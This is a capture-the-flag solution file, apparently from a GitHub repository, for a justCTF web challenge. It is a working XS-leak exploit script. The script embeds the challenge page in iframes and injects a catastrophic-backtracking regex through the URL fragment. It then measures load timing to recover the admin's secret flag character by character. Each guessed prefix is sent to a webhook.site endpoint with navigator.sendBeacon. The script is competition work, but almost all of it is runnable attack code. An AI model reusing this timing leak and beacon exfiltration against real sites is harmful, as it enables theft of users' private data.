-
Notifications
You must be signed in to change notification settings - Fork 0
/
terjang_writeup.html
84 lines (69 loc) · 2.98 KB
/
terjang_writeup.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<body>
</body>
<script>
const chall_url = 'https://computeration-fixed.web.jctf.pro/';
// create the main frame that will be blocking the event loop when the flag
// was found
const iframe = document.createElement('iframe');
iframe.src = chall_url + '#';
document.body.appendChild(iframe);
// get the flag prefix from a URL
const prefix = (new URL(location.href)).searchParams.get('flag') || 'justCTF{';
// define the alphabet for tha flag
const alphabet = 'abcdefghijklmnopqrstuvwxyz_}';
// when the main frame loads, start the script
iframe.onload = () => start(prefix);
// sleep function
const sleep = d => new Promise(r=>setTimeout(r,d));
// dynamic frame used to measure the execution time of the main frame
var iframe2;
// function used to check whether the prefix is apparent in admin's notes
async function checkPrefix(flag_prefix){
// cause slow operation
iframe.src = chall_url + `#^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`;
// wait for the frame to start executing regex
await sleep(50);
// try to load a same-site page to the main frame
iframe2 = document.createElement('iframe');
iframe2.src = chall_url;
document.body.appendChild(iframe2);
// measure the start time
let start = performance.now();
// only resolve when the iframe loads
return new Promise(resolve=>{
// when iframe loads, log the execution time, resolve the promise
// and remove the iframe
iframe2.onload = () => {
console.log(performance.now() - start);
resolve(1);
iframe2.remove();
}
})
}
// function triggered on the document load
async function start(flag){
console.log(flag);
navigator.sendBeacon('https://webhook.site/ebf8aa6a-e1af-40da-98bc-c8c64d920b0b',flag);
// for every letter in the alphabet, try to extended the flag with it
for(let c of alphabet){
navigator.sendBeacon('https://webhook.site/ebf8aa6a-e1af-40da-98bc-c8c64d920b0b',c);
// After 500 ms, remove the iframes, set the URL with the extended flag
// send a message to the parent about found prefix, and reload the document
// to restore the blocked thread
let trynew = setTimeout(async ()=>{
iframe.remove();
iframe2?.remove();
let url = new URL(location.href);
url.searchParams.set('flag', flag+c);
parent.postMessage(flag+c,'*');
await sleep(50);
location.replace(url.href);
return;
}, 500);
// try to find another letter, if it is fast enough, the above setTimeout
// will be cleared, else, it will trigger.
let res = await checkPrefix(flag+c);
clearTimeout(trynew);
}
}
</script>